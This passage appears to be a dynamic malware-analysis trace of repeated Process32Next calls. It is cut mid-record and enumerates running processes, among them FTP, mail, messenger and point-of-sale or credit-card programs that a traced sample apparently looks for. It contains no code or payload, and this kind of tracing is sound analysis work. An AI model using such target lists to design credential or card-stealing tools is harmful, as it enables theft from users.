th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.671] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.673] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0266.674] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.676] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.677] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0266.679] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0266.681] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0266.682] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0266.685] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0266.687] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0266.689] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.691] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.693] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.694] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0266.696] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.698] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.700] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.702] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0266.703] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0266.705] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0266.707] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0266.709] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0266.710] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0266.712] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0266.714] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0266.715] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0266.717] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0266.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0266.763] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0266.765] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0266.768] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0266.771] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0266.773] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0266.775] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0266.776] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0266.778] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0266.781] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0266.783] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0266.785] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0266.787] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0266.793] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0266.795] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0266.798] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0266.801] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0266.804] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0266.807] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0266.810] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0266.814] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0266.826] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0266.829] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0266.831] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0266.833] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0266.836] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0266.840] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0266.843] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0266.845] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0266.848] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0266.850] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0266.852] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0266.854] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0266.856] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0266.858] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0266.861] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0266.863] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0266.865] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0266.867] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0266.869] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0266.871] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0266.873] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0266.875] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0266.908] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0266.911] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0266.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0266.917] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0266.921] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0266.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0266.927] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0266.932] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0266.935] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0266.938] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0266.940] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0266.943] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0266.946] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0266.949] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: 